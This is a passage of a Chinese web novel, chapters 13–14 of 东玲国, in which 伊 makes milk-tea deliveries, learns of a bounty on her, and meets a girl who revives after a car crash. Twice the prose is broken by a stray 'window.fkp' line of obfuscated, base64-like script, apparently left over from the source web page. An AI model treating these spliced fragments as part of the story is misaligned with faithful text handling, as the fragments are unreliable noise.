寰闭眼笑了笑,然后一道金光出现,她消失了。看着寰的离去,法戈·明转过身去叹了口气。看着东边一望无际的天空,他陷入了沉思。过了一会,他变出了一个金色的卷轴。他打开卷轴,然后将卷轴对着东方的天空,然后一道巨大的祥云阵法出现在天空之中。他召唤出自己那对翅膀,轻轻下压身体,然后一个健步一跃而起,冲向了那道阵法。在接触阵法的后,他乘风而飞,速度比之前快上了好几倍。迎着中午的太阳,他飞向了地平线处只有米粒大小的东玲国。 ...... 法戈·明与寰的战斗吸引到了一个“人”的注意,他端坐在某处的显示屏前,对着显示屏内的景象陷入了思考。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十三话:送外卖的奇遇 几个小时前...... 在熟悉的奶茶店中,伊正在按照往常一样在柜台前呆呆地站着,时不时向店门外看看,看看有没有人来店里买东西。来这家店的人很少,因为大家都很忙。同时在这个地区,奶茶是属于奢侈品的,因此这类店铺少有人来。保罗正在前台发呆,他偶尔拿出手机看一看信息,然后就重新回到发呆之中。什红亮拿着拖把站在店里的一角,拿着手机低头看视频。每看个一段时间,就收起手机,去检查一圈地面的干净正度。脏了,就拿拖把拖拖;没脏,就回原位待着。 就在一切都很平常的时候,法戈·明(替身)走进了店内。他的神色有些慌张,额头上有着好几滴汗,嘴唇微微颤抖,仿佛刚刚经历过恐怖。三位店员见到店长这样,刚要开口询问,法戈·明就伸手示意他们不要说话。接着,他小跑着来到了二楼,进到了办公室里。 见此,伊不禁好奇地问道: “店长......这是出什么事了吗?” 在一旁的保罗摇了摇头,回答她: “不知道啊,应该是出了什么事......不然店长不会这么着急的。” 不一会,拿着几张订单跑了出来。他将订单放在柜台上,慌慌张张地从口袋里拿出了一把黑色的钥匙。她将这把钥匙交到了伊的手中,然后他对伊和保罗嘱咐道: “你们两个在今天当一次外卖员,把这些订单都给我完成!还有,别忘了把订单的原票也给送过去。我给你的钥匙是去更衣间拿装备用的,记住是靠墙最里面的那个柜子。——我有点事要处理,你们三个好好给我看店。别让店内的财产收到损失。” 伊等人: “知道了,老板。” 之后,法戈·明就离开了店内,不知干什么去了。看着柜台上的订单,保罗抓了抓头,面露难色。伊见此,好奇地问道: “怎么了?保罗。” 保罗指着其中一份订单,面露难色地说道: “你有所不知。这个城市里的人几乎是不定外卖的,只有是有钱的外来旅者才会去点外卖。而且,送外卖的工作很危险的。之前就有一个送外卖的死在了送外卖的途中,连尸体在哪里都不知道!” “啊?这么危险的吗?” 伊很是惊讶地说道。保罗虽面露难色,但他还是勇敢地拿起了其中一份订单。保罗有些不情愿地说道: “但是任务在先。既然老板都吩咐了......那就做吧。” 见到保罗这样,伊心中的恐惧自然消失了。她拿起其中一份订单,很有信心地说道: “那好!那我们就去完成吧。世上无难事,只怕有心人。” 见到信心满满的伊,保罗好奇地问道: “为啥面对这种危险的事你还是那么乐观?你不怕吗?” 伊摇了摇头,从容淡定地回答道: “不怕。因为大家都不怕,所以我自然也不再怕的。” 保罗有些不解,这是他第很多次不理解伊的想法了。他好奇地问道: “那我跟你说我很害怕,你还会这么勇敢吗?” 伊点了点头,说: “会。” “为啥?” “总要有人带头的,你不来,那我就来。” “哎......真是搞不懂你啊。” 之后,伊拿着钥匙去到了更衣室内,按照法戈·明的和嘱咐,打开了放着外卖服的柜子。柜子里放着四身外卖服和四个很大的方形金属背包。伊拿起了一身,先给保罗送了过去,然后自己再拿了一身,之后换上。换上后,伊发现外卖服内很贴心的配备了防护装甲内衬,以防送外卖的人出现意外情况。同时,外卖服里面配备一把电击枪,为了防止出现意外情况而准备。她突然觉得自己不是在去送外卖,而是去押送某些贵重物品。 伊走出更衣室。接着,她按照订单上的要求做了两杯珍珠奶茶和三杯果汁。做完果汁和奶茶后,她将其小心放进了背包之中。然后背起背包,拿起两份订单,与保罗一起走出了奶茶店。 送外卖的过程是很辛苦的,伊要徒步走很远,而且还要背着一个很重的包,同时她身上的外卖服也是很沉重的。这是她第一次在没有殇保护下在城市里走,她自然有些害怕。她努力地抬起头,去直视那些路过行人的眼睛,而不是去逃避。因为她知道,这样做会引起不必要的注意。她走路小心翼翼,眼神不安地来回飘动。当她走到人多的地方时,她会装作淡定,同时收起脸上的微笑,表现出冷漠的表情,同这城市的色调一般。当走到人少的地方时,她会更加紧张,因为人少的时候容易遭到袭击,尤其是在这座城市里。但她面不改色,始终保持冷漠,只为了自身的安全。 街道上人来人往,但人们之间几乎没有交流。要是说,也就是任务或者工作。冷漠早已经是平常,这里的每个人都习惯。沉寂,让人沉沦。迎面徐徐吹来几阵暖风,让她感觉到了炎热,她的脸颊上不断在留下汗水。当她看向周围,她却发现周围的行人的身上,没有一点汗迹。她的眼睛是明亮的,她看到了行人眼中的空洞,也看到了他们心里的寒冷。很难想象,这么一个活生生的人,在温暖的皮肉之下,竟是冷如冰雪的内心。阴霾似乎笼罩在这里,一成不变地笼罩在这里,似乎是上帝为这里染了色。虽有阳光明媚,但见不得半点生机。唯独只有路边野草几颗,还能看得出一丝生气。当她看向天空的时候,她发现今天的天空格外的蓝,太阳也格外的明媚。那天如海一般清澈,如海一般广阔。这时的她觉得这单调的蓝色十分美丽,似乎那真的是海。但那海洋,早与这世界相隔万里。 滴答滴答,路边的钟表店内传出了时钟运转的声音。这声音在此刻竟是异常的清晰,边听,边闭上眼臆想,眼前顿时可以浮现出一幅精密的齿轮结构。齿轮间彼此紧挨着,依靠着彼此的动力,开始慢慢地旋转。每个齿轮都是那样独特,那般不可或缺。若是丢了一个,那便会引发结构的崩塌。齿轮静静地旋转,促动着时针旋转,一个推一个地,没有一刻停歇。摆锤静静地随时针的运转而摆动。它的每一次摆动都格外有力,似乎轻触一下,就能在手上打出个大包。但没人会这么做。静静地,时间流逝。静静地,时针转动,静静地,齿轮旋转。静静地,一切井然有序地进行着。 她转头看了路边的钟表店一眼。那一眼她只看到了一个挂钟,挂钟上的时针缓慢旋转,挂钟下的摆锤静静摇摆。摆钟前剔透的玻璃上倒映出了她的身影,以及她背后的世界。只是一眼,她就感受到了一阵寒意涌进了她温暖的内心。回想当年,这里曾是何等发达与繁荣。街上是五颜六色的,挂满了各种招牌。每走一步,都能听到人们谈笑的声音。每个人都是幸福与快乐的,他们的生活时刻充满意义。那时的天空,还如现在这般蓝,太阳还如现在这般明媚。一走一过,到处都能楚见幸福的人们在辛勤的劳作。可那一切,都在那骇人的疫病之中消失了。可这一切,真的是疫病所导致的吗?她的脑中浮现出了这个问题。 在路途中,她一直在思考这个问题,她也把头低了下去。对比穹顶区的繁华,这里简直就是衰败。人们生活在阴霾与恐惧之中,安逸的生活,简直就是奢求!因为指不定那天,一个还算幸福的家庭就会被前来执行任务的都市猎人或杀手给毁灭。这里经济的根基是靠着血与泪铸造出来的,其中蕴含了不知多少人的生命。而即使是这样,也会有人在这本不坚固的高塔上,去凿开裂缝,卸下瓦砖。 她在热浪中前进,早已是汗流浃背。顶着一阵热风,她慢慢走向前方的目的地。路途中,路径几条黝黑的小巷。小巷内很脏,倒不是因为地上杂乱堆积着垃圾与一些纸壳箱,而是这干净的地面上,早已染遍了鲜血。不过这鲜血,早已经渗入底下,无影无踪了。看着那些巷子,她总会感到恐惧,就像这黝黑的巷子会随时将她吞进去一样。她能感觉到,这座城市已经腐烂大半了。就像一具尸骸一样,皮肉皆烂,只有空虚的内部与寒冷的白骨。生活在这里的人,要么溺亡在梦的海洋里,流尽血汗,失去灵魂;要么就烂在某处,等待时间来去将他分解,化作无名尘埃。是轮回、是恶劫、是命运、是腐化、是上帝对这里的不公。可除了惋惜与警醒自我,她还能做些什么呢?她很想现在就将光明播种,但她不能那么做。不到时间,不到机会,她也只能做个旁观者,静静地看着。 当她思考出这个问题的答案时,她却说不出这答案。这是最简单也是最复杂的答案。不在于个人,而在于整体。 在她到达第一单的目的地时,她发现这一单的位置竟是东城内最奢华的区域之中的一栋高档酒店。这栋酒店,足足有四十八层高。透过窗户,她能看到内部的样子。虽比不上穹顶区的高档,但对于这座贫穷的城市来说,已经是最高档的装修了。她刚想走进去,就被保安拦在了门外。她向保安说明自己的来意,但保安以她是危险闲杂人员的理由拒绝了她。她只好将订单上的三杯果汁和一份订单交给保安,然后看着保安将这三杯果汁和一份订单放在柜台的存物处。后来,保安出来告诉她会通知上层的订货人来取货。听到保安这么说,她放心地离去了。 在离开的时候,她见到一个身着高档白色西服的平头男与她擦肩而过,那人的腰间挂着一把宝剑,看着气势汹汹的。她转头看他,那人只是用余光瞥了一下她,然后就继续向前走了。这时,她因为转头看人,就突然撞在了一个高大的人身上。她本能地后退,然后对着被撞的那人鞠躬道歉。 “对不起,冒犯到您了。” 当她抬起头向前看的时候,她发现对面个身着高档白色西服的黑发男人。他没多少什么,只是轻轻地摇了摇头,说: “没事。” 之后,他便离开了。这时,伊留意到,这个男人的背后,有着一个大大的龙辉神匠的标志。他貌似是龙辉神匠的工作人员。突然,伊想起了之前看到的那条龙辉神匠的千金小姐失踪的新闻。伊咽了咽口水,心里想道: “也许是跟那件事有关吗?——希望那位千金小姐没事吧......” 她拿出第二单的订单好好看了看,发现第二单的位置距离这里很近,就在一百米以外商业街之中。当她来到那条商业街的时候,她惊奇地发现街上多了很多身着白色西服的人,这些人像是在找什么东西,眼神格外犀利。伊见此,不由得紧张起来。但好在,那些人并没有注意到她,他们的目标貌似是其他的什么东西。 当她来到第二单的地点时,她发现这一单的位置是一间六层小旅馆。这次,没有保安阻拦,她直接走了进去。刚走进去,在柜台处的工作人员就用温和的语气问她: “请问客官是送什么的啊?” “外卖。” 伊即答道。突然,那名工作人员就变得面无表情。她冷冷地对伊说道: “去吧。上楼自己去找。那间房的就送那间去,别把走廊弄脏了。” 伊点点头,说道: “好的。” 然后,伊按照订单上的房间号,来到了六楼的高档房间前。她轻轻敲了敲门,接着用温和的语气对里面说道: “里面的客户,你的外卖到了呦。” 片刻的等待后,房门打开。房门内是位漂亮的黑发女子,她此刻手里握着腰间的佩剑,眼里有着对伊的敌意。见到对方充满了对自己的敌意,她赶忙挥挥手,告诉对方: “不用这样的,我不是危险人物。” 对方没说一句话,只是瞬间抽出佩剑,然后将剑面抵在了伊的下巴上。面对这等阵仗,伊慢慢举起双手,做出了投降的手势。对方见到伊如此,便放下了手中的剑,问她: “你真的是来送外卖的?” 伊急忙点头,神色坚定地回答道: “对对对,我是!” 对方脸上的敌意少了很多。接着,她后退了两步,对伊说: “进来吧。把东西放在桌子上。” 伊犹豫了一下要不要进去,她怕可能是埋伏。但她心底对人最基本的信任还是促使她走了进去。进入屋内,她先走到桌子旁,然后小心翼翼地将包放下,接着拿出包内的两包奶茶,轻轻地放在了桌子上,同时还放了一份吸管。这时,砰的一声,房门关上。伊察觉到了什么,她抬头看向了房门,发现房门已经关上了。这时,那位黑发女人坐在了桌子旁的椅子上,面带微笑地看着伊。伊转过头来,看到她拿起了其中一杯奶茶,轻轻地摇了摇,接后放在桌子上。她看着桌子上这两杯奶茶,轻声问道: “我想问一问,从不订外卖的我,怎么会有订单呢?” 听到这话,伊瞬间瞪大了眼睛,满脸的惊讶。突然,她的脑中浮现出一个想法,那就是自己可能送错位置了。但那不可能,她记得订单上的位置明明就是这间屋子啊! “会不会是您弄错了呢?” 伊问道。她摇了摇头,表示自己说的都是实话,她的确不会去订外卖。听到她这么说,伊有些糊涂了。但在随后,她告诉了伊真相。 鹤凌霄: “从来都只是别人给我订外卖,我从来没自己订过外卖。说实在的,我虽然喜欢喝奶茶,但我从来都是去实体店买。” 伊: “(怀疑)所以说,是有人给你订的这份奶茶吗?” “没错。——还有,是法戈·明给你的订单吧。” “对对对,是他给我的订单。” “原来如此......” 鹤凌霄心里: “莫不是那老头子出了什么事.......” 鹤凌霄拿起桌子上的吸管,插进其中一杯奶茶,然后拿起来喝了一口。她闭上眼睛品味了一番。这奶茶比她喝过的其他奶茶要好喝很多,甜味十足,但不至于过甜。她睁开眼睛,刚想把奶茶放在桌子上,突然,她拿起来又喝了一口,之后再放在了桌子上。鹤凌霄对伊说: “把订单给我拿来吧。我知道你这次送外卖得需要额外送订单。” 伊点点头,然后将订单交给了她。她接过订单,仔细一看,表面上与普通的订单一样,但内部暗藏乾坤。她将核心能量汇聚在瞳孔之上,并将法力灌注与手指之上。这时,一段特殊的文字显现在了她的眼中。 “明仙遇强敌,被驱而至,今不知所处。子明者死,急告于邑中,使谨城目。” 鹤凌霄叹了口气,然后收起了这份订单。她面色沉重了几秒,思考了一下今后的对策。然后,她的表情重归平静。接着,她对伊说道: “你的任务完成了。” 伊的脸上露出了微笑,她笑着说了嗯。随后,就要拿包准备离开。但就在这时,鹤凌霄叫住了伊。 鹤凌霄: “(严肃)你不能走。” 伊顿了一下,然后把手收了回去,不安地看着鹤凌霄。鹤凌霄仔细看了一下伊,思考了一下,同时拿出了全息手表,打开了悬赏名单,点开了伊的那个悬赏。对比照片中的伊,眼前的伊跟照片上差距不大。一方面是服装不同,另一方面就是发型不同。鹤凌霄关闭悬赏名单,然后问道: “你是那个悬赏百万的伊对吗?” 被问到这个问题的时候,伊沉默了。两人互相看着对方的眼睛,各自猜测着对方的心境。见伊没有回答,鹤凌霄继续说道: “如果你不说,那我就当你是喽。” 听到鹤凌霄这么说,伊神色凝重地对鹤凌霄说: “是.......我是。” “这就对了。诚实点,总是好的。” “你会像那些人一样抓我吗?” “你猜猜?” 伊本能地后撤了一步,不安的神情浮现在她的脸上。见此,鹤凌霄笑了笑,然后站起身来,很淡然地对伊说: “不用担心的,我是不会抓你的。毕竟你不是在我们科的事物范围内。更何况,你身边不还有这个一千悬赏的壮汉吗?据我们的眼线所说,他可不是一般人......” 听到鹤凌霄这么说,伊暂时打消了对鹤凌霄的恐惧。鹤凌霄见伊变了神色,赶忙对伊说出了留下的意思。 鹤凌霄: “(郑重)伊。我暂且留下你是想告诉你一些消息。” 伊: “(好奇)消息?什么消息?” 鹤凌霄: “(严肃)你要时刻提防那些高档人士。你体内的光之种子已经引起越来越多人的注意了,他们的好奇将是你的墓地。” 伊: “(不安)哦。” 鹤凌霄: “(严肃)而且,这百万悬赏正逐渐吸引着猎人们的注意。虽然现在没有人来去找你,但以后还是会有的。举个例子,那就是我所处的工作岗位:‘天龙一科’。我们是为三角协会工作的......” 听到三角协会这个字眼,伊瞬间瞪大了双眼。曾经遭遇艾琳娜和红色收尾人的景象历历在目。此刻,伊对鹤凌霄抱有了一定的敌意。 “三角协会凭借其经济、地位、实力三方面优势让我们这群干协会的被迫与其联合,成了她们旗下的一个附属。说多了......——说实在的,我很怕在以后,我们会以敌人的面目相见。如果管理员有命令下来,我们必须奉行。因此,你们两个重点人物就得更加注意自身的安全。” “知道了。感谢你的提醒。” 这时,伊口袋里的金罗盘发出了叶绿色的光芒。伊很惊讶,她急忙将这个金罗盘拿了出来。金罗盘的指针指向鹤凌霄,指针针头前方悬浮着一个绿色的光点。看着这金色的罗盘,鹤凌霄和伊都十分惊讶。伊转动了下身体,罗盘的指针随之偏转,方向始终是向着鹤凌霄。 鹤凌霄: “(惊讶)你从哪里找到这个东西的?!” 伊: “嗯?你说这个金色罗盘?这个是我从一个废弃码头里找到的。” “这是我们祖国在反殖民战争中遗失的宝物,原本是龙宗门的镇宗之宝,是这世界上数一数二的绝美艺术品之一啊!” “啊?这么厉害吗?” “当然。这是神匠所炼制出的宝物,其中蕴含着咱们凡夫俗子理解不了的奥秘与玄机。” “那我接下来该怎么办呢?把它送回去吗?” “额.......姑且先别送回去。到时候会有人来取的。” “这个罗盘有什么作用吗?” “有。搜寻像我一样的继承者。” “继承者是什么?” “听我慢慢道来......” 鹤凌霄将继承者的概念与定义给伊讲了一遍。听过鹤凌霄的讲述,伊明白了到底何为继承者。后来,鹤凌霄对着伊连续嘱咐了三句,让她一定要保护好自己。伊点头答应,然后带着背包离开了这里。在伊临走前,鹤凌霄对着伊说出了意味深长的一句话。 “若前路危险,那就试着换一条道路吧。” 伊点了点头,回应她: “知道了。” 在下楼的过程中,伊再次碰到了那个气势汹汹的平头男。这次,伊刻意没有去看他,防止再出现上次那样的情况。不过这次,那个平头男主动去看她了。伊用余光去瞥了他一眼,发现对面看自己的眼神有些异样。她察觉道危险,加开步伐快步下楼,然后小跑着离开了这里。那个平头男见到她远去,嘴里喃喃地说道: “想不到这小姑娘,竟然来了这里。哎......一晃这么多年过去了,她都长大了。” 说完,他快步来到了顶层,接着敲了敲鹤凌霄的房门,然后走了进去。见到他走了进来,鹤凌霄站了起来,迎了上去。接后,她急忙问道: “事情调查的怎么样了?冯叔。” “有过程没结果啊。一切都是那么离奇。那么大个五岁小姑娘,说没就没了。一点痕迹都没留下。” 他即刻回答道。听到这个回答,鹤凌霄摇了摇头,然后坐在椅子上,拿起桌子上的奶茶喝了一口。 鹤凌霄: “真是离谱啊。没有一点痕迹,就连绑架者是谁都不知道......那么大的个小姑娘,怎么会凭空消失呢?” 冯邱: “这间差事不好干啊。没有头绪,没有线索。时间要是拖得越久,那么那个千金大小姐的处境就越是危险。” “保安什么的都问了没有?” “问了。都没说见到可疑人员。” “所有人员都调查了吗?监控录像呢?” “人员倒是都调查完了。但那监控录像还没调查完,大部分的监控画面都是正常的。” “哎,没有头绪啊。” 这时,冯邱注意到了鹤凌霄手里握着的那杯奶茶。看着这杯奶茶,他好奇地问道: “这奶茶是谁送来的?” 鹤凌霄看向手中的奶茶,大脑快速组织了下语言,然后回答道: “这两杯奶茶啊......是那个白头发的外卖员送来的。” “你订的?” “不是。” “是不是那个叫伊的姑娘给送来的?” “咦?!冯叔,你怎么知道?” “我刚刚上楼的时候看着她了。——那小姑娘几年不见,变化挺大啊。人变得漂亮了,也更懂事了。不过可惜了,她妈妈年纪轻轻就离她远去了。还是被她亲舅舅弄死的.......” “怪不得。” “对了,副会长。还有个事得跟你商量一下......” “什么事?” 冯邱从口袋里拿出一张写着诡异文字的羊皮纸条,接着说道: “我刚刚在路边的一个萨满那里花钱预言了一下。结果她告诉我要去找一个叫殇的人,她说殇能找到那个失踪的千金大小姐。不过要等两天。” “啊?冯叔,这都啥时代了,你还信迷信吗?” “不不不,那个萨满可不是骗钱的骗子。她还特意告诉我:‘这些不是神告诉她的,是人。’我一听,还能试试。” “等下......那个萨满叫什么名字?” “她啊,也许你认得。她叫:恩奉婆婆。” 一听这名,鹤凌霄瞬间露出了惊讶的神情。她用手拍了下桌子,很激动地站了起来。她先拿起那杯奶茶喝了一口,然后神情激动地告诉冯邱: “是她,是她!先知!既然先知这么说,那我们现在就去找殇!” “副会长,你刚刚还说我迷信来着。你现在怎么就比我还信了?” “你有所不知。恩奉婆婆是白莲宗门的一届宗主,具有所有宗主都没有的预言兆世能力。她曾精确预言了宗门事变和A事件的发生,还预言了x事件和齐百陵的疯狂复仇的发生。” “原来她这么厉害的吗!” “厉害归厉害,可关键时候,总找不到她人。而且,每次预言出现的时候都只有漠不关心的人得到了预言的信息。” “哦。看来还是个隐君子。” “所以事不宜迟,我们现在就出发找人吧。” “好嘞,副会长。” ...... 与此同时,在城市的一角。殇正一个很社会的姿势蹲在一个地摊前,地摊上有着几张命运牌,和一个水晶球。经营这个地摊的,是个满脸皱纹的白发老奶奶。她戴着个墨镜,穿着紫色的道袍,盘腿坐在地上,一脸祥和地看着殇。看着这个老奶奶,殇不禁好奇地问道: “额,老奶奶。你这么大了还要骗钱吗?你觉得这现代化的社会里,会有人信算命吗?” 这个老奶奶挥了挥手,说道: “老朽这不是算命,而是占卜啊。” 殇挠了挠头,说道: “这俩不是一个东西吗?都是江湖的那一套。” “不不不,孩子。你不懂。我这不是骗术,而是实打实的真功夫。” “哈?真功夫?预言就是编两句话的事,怎么还能算真功夫呢?” “哈哈哈哈,孩子,你真可爱。如果你要是不信的话,我可以给你展示一下。不过......先说好,你得付一块钱。” “行!就冲你这句话,这钱我给了。” 殇拿出一块钱,交到了她的手上。然后这个老奶奶将手直接放在了水晶球上,然后好好地摸了几下,接着拿起两张牌,看了一眼后放下。见此,殇很好奇地问道: “你这是做什么?” 这个老奶奶笑了两声,然后自信满满地说道: “孩子啊。你是不是接下来会问我:‘能否给我预言一下你在这个国家遭遇的最后一个敌人是什么样的啊?’” 殇一脸惊讶,她说的还真是他内心所想的。他对着这个老奶奶竖起了大拇指,接着说道: “卧槽!行!” 这个老奶奶用手指轻轻顶了顶墨镜,然后继续说道: “那老朽就帮你解决这个问题吧。” 重复的流程又是一遍,但这次抽中的牌与之前不同。放下牌后,她的神色凝重了一些,仿佛是看到了命运。她叹了口气,说道: “你面对的最后一个敌人,就是你后面那个站着看我们的红发小美人的大姐。” 一听这话,殇马上转过头去看向身后。他发现之前遇到的查尔拉就静静地站在他的后方,默默地看着他与老奶奶。在看到殇回头看自己后,查尔拉瞬间愣住了。她挠了挠后脑勺,露出了尴尬而又不失礼貌的微笑,接着冲殇打了个招呼。见到查尔拉后,殇瞬间站了起来,然后很好奇地问她: “你来干什么?” “我......我路过。” 查尔拉有些尴尬的回答道。殇托着下巴思考了一下,满脸都是对查尔拉的不信任。殇有些怀疑地问道: “你确定吗?” “不......不是啦。其实,我只是来捎口信的。” “捎口信?说来听听。” “我的大姐薇莉莉说了,要挑战你。到时候让你去郊区的时轮广场,我大姐在那里等你。” “哦~” 殇心里: “她再强也没有莫子韶强吧......应该也就洒洒水,让让几下就蒙混过去而已。来就来吧。” 见到殇不说话了,查尔拉摆出一副神气的姿态,然后神气地说道: “怎么样?是不是怕了?我大姐‘血浸玫瑰’的名号一出,你肯定就吓破胆了吧!我大姐可是超级厉害的哦。” 殇面无表情地说道: “哈?血浸玫瑰?没听过。” “啊?你竟然不知道我大姐的名号!这城市里每个人都知道,就是外来者,也该听闻到了吧。” “啥?为什么从来没有人跟我提起她?” “这......好吧。你到时候再去找人了解下吧。凡是这口信我是捎到了,那我就先走了哈。” 查尔拉走后,殇重新以一个很社会的姿势蹲在地摊前,继续跟这位老奶奶说话。这时,这个老奶奶拿出了两张有着精美花纹的命运牌,然后递给了殇。殇接过牌一看,发现这两张牌的牌面上有着两个画风复古的图案。一个是利剑与刺剑交叉,剑刃刺穿了盾牌;另一个是一朵玫瑰和一朵蓝色妖姬种在一个花盆里,玫瑰在盛开,而那朵蓝色妖姬却枯萎了。殇不知道这两张牌想要表达个什么意思,他托着下巴仔细思索,但百思不得其解。这时,那个老奶奶开口对他说道: “孩子,不必现在就去理解。当时间的洪流到了指定的地点时,你自然就明白了。——这两张牌你就当做我送你的礼物吧,好好珍藏,以后会有用得上的地方的。” 殇点了点头,收起了这两张牌。 “孩子,如果还有事的话,那就先走吧。老朽,也要去休息一阵了。” 殇点了点头,说道: “行吧,老奶奶。那我先走了。” 殇站起身来,转身准备离开。但在临走前,这个老奶奶叫住了殇。殇回头看去,只见这个老奶奶冲着他笑了笑,然后笑着说道: “忘了自我介绍了。我叫恩奉婆婆,是这里的一个普通萨满。” 殇: “哦。恩奉婆婆......不错的名字。” “路上小心,孩子。” 殇点了点头,回应道: “知道了。” 之后殇就离开了。看着殇离开的背影,她慢慢摘下了墨镜,用已经失明的双眼去看殇的背影。边看,她边低声说道: “是他,那个熟悉的汉子。曾经那个带我们一起打败殖民者的英雄。现在变成了如今这样,实属有些讽刺。——希望主的选择没有错吧.......如果他还能再当一回英雄,带我们战胜疫病,那么将是最好的结局了。” 说完,她戴上墨镜,卷起地铺上的东西走进了巷子里。 ...... 在回店的途中,伊目睹了一场车祸的发生。她看到一个身穿橙色带帽衫与牛仔裤的黑发姑娘在过马路的时候被一辆白色轿车给撞飞了出去。那辆车在意识到撞人了之后没有停下来,而是驾车逃离了这里。被撞飞出去的那个姑娘倒在了血泊之中,可周围没有一个人给她叫救护车。路过的行人刻意绕着她走,没人去搭理她。见到这种情况,伊直接跑到她的身旁,去检查她的身体状况。伊发现她已经没了呼吸,同时心跳也停止了。 在这种情况下,周围的人向她投来了异样的目光。伊顾不得那些异样的目光,立刻就准备对她进行急救。但就在这时,她突然动了一下。伊吓了一跳,一个重新不稳,直接摔坐在地上。她站起来拍了拍身上的灰,然后看了看自己的衣服,发现衣服都被血染红了。她一脸生气,似乎生气在不是对方撞了自己,而是因为对方而被弄脏了。她很愤怒地对远处早就消失得无影无踪的白色轿车喊道: “你他妈的!把人家衣服弄脏了!太没素质了!” 伊坐在地上,一脸惊讶地看着突然活过来的她。这时,她注意到了伊。她对着伊露出了微笑,似乎对伊刚刚的行为抱有感谢。她对伊伸出了手。刚刚见到人死而复生的她,有些惊魂未定,见到她对自己伸出了手,下意识地抓着她的手站了起来。在伊站起来后,伊从刚刚的那一幕中回过神来。就在这时,她拉住伊的手,拉着她进了附近的一条巷子。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十四话:诅咒少女倪汝美(上) 在来到巷子里后,那个姑娘先张望了一圈周围。这个时候,伊也同她一起张望了一圈巷子内,就怕出现什么危险。这时,她冲着伊露出了一抹微笑,接着对伊感谢道: “谢谢你哈。想不到在这个世界上竟然会用人去救我。万分感谢.......万分感谢。” 说这些话的时候,她的脸有些泛红,言表之中透露着一丝羞涩。面对这样的她,伊只是轻笑了一下,温柔地说道: “没关系的。见义勇为吗!” “姐姐,你真好。” 她笑着说道。她脸上的泛红变得更深了一些,似乎有些不好意思。看着她,伊露出了微笑,但同时也在心里替她感到了一丝悲伤。这时,伊看了看周围,确认四下无人。接着伊问她: “冒昧的问一个问题可以吗?” “可以的,姐姐。” 她即答道。听到她这么说,伊放心大胆地问出了从刚刚开始就一直想问的问题。 “话说,刚刚你不是死过去了吗?你后来怎么又活了过来?” 被问到这个问题的时候,她有些诧异。这是她第一次被人问及这个问题。她低下头沉默了片刻,不知道该如何回答。她在犹豫要不要告诉面前的陌生人,她害怕面前的伊知道真相后会歧视她。她的表情很是难看,这些伊都看在了眼里。出于担心会伤害到她的心,伊有些担心地对她说道: “如果我说错了话,我在这里向你道歉。对不起......——我想,这涉及到你心中的痛处了。” 她抬起头看向伊,眼神中满是不可思议。她从未见过有人会这么对她说话,更没想过会有人因为一点小事就向别人道歉。看着面前的伊,她的直觉告诉她伊是个可以信赖与依靠的人。她再三犹豫,还是对着伊开口了。不过在她说的时候,她刻意小声地去说,很怕除了伊以外的别人听到。 “如果我告诉你事实,你会嘲笑我吗?” 伊摇了摇头,露出了十分阳光的笑容。伊轻声告诉她: “不会的。” 她突然抓住了伊的手,低声对伊倾诉道: “我很害怕,我很害怕别人会嘲笑我。我担心我成了他们眼中的异类,我担心被人排挤......” 说着说着,她的神色就变得失落了许多,似乎是笼罩上了一层阴霾。伊看出了她心中的担忧,伊将手轻轻搭在她的肩上,安慰她道: “不用担心。无论怎样,我都不会嘲笑你的。” 听到伊这么说,她的表情改变了一些,但她脸上的阴霾依旧没有散去。她低声告诉伊: “可是.......我曾经向别人介绍过我自己,也向他们解释了在我身上发生的一切。但那些对于他们来说不重要,他们在初步了解我后就已经对我下了定义。我的辩解,都是无用之举。诉说真相,只引得他们嘲笑与歧视。最后,他们对我的嘲笑与歧视更加深重了。。” 说道此处,她的声音轻颤了一下,这说到了她的伤口上。她心情复杂地沉默了片刻,然后继续开口说道: “他们只愿意相信他们所相信的。异类在他们之中只会遭到排挤。” 听到她这么说,伊明白了些什么。突然,她感觉到体内的光之种子颤动了一下。她以为是碎片出现,就想进行收集。可她此刻发现,这周围并没有光之碎片。她思考了一下,突然顿悟,明白了个所以然。 “我不想再受到别人的歧视了.......” 听到她这么说,伊沉默了片刻。伊思考着,思考要不要继续去了解实情。伊担心会伤害到她,可自己又十分想要帮助她。在这种心里矛盾之间,伊找不到最佳方案。伊的手在她肩上轻轻往下滑了一下。就在伊的手要滑下她的肩膀的时候,在两颗心灵就要远离彼此的时候。突然,有一股无形力量拖住了她下滑的手。伊看着面前的陌生女子,伊觉得心里有个孤寂的声音在回响。尤其是看着她的双眼时,伊觉得这个声音更大了。那双眼睛水汪汪的,譬如山间泉水一般纯洁,从中看不出一点污浊。在这池水的深处,沉淀着两层相互渗透的泥沙,一层是白的,另一层是黑的;那是她内心中的绝望与希望。那希望如一盏孤灯,在黑暗中独自明亮。灯中的烛火很微弱,似乎一阵风就能吹灭它。恍惚间,她看到了这盏灯周围熄灭的无数蜡烛,每根蜡烛旁都有着一根火柴。这盏灯即将熄灭,而重新点燃它的火柴,就在伊的手中。 伊心里: “不,我不能放手!” 伊将手重新搭在这位陌生姑娘的肩膀上。这次,那位陌生姑娘感觉到肩膀上伊的那只手格外有分量。伊用坚定不移的眼神看着那位陌生姑娘的眼睛,似乎像是一阵狂风,吹开了她紧闭着的心窗。见到伊这样后,她感觉到自己的内心很温暖;那种感觉,似乎是被明媚的太阳光所亲吻了一样。她能感觉到伊和她的心灵正紧紧地拥抱在一起,那是她从未经历过的感觉。暖暖的,似寒夜中的篝火。伊对着她用力摇了摇头,接着用轻柔的口吻告诉她: “相信我吧。我会帮你解开心结的。——每个人都有每个人的故事。即使过程各不相同、所遭遇的苦痛与快乐都有着不同分量,但本质上没有区别。都是故事,都是生活。其实都一样的。” 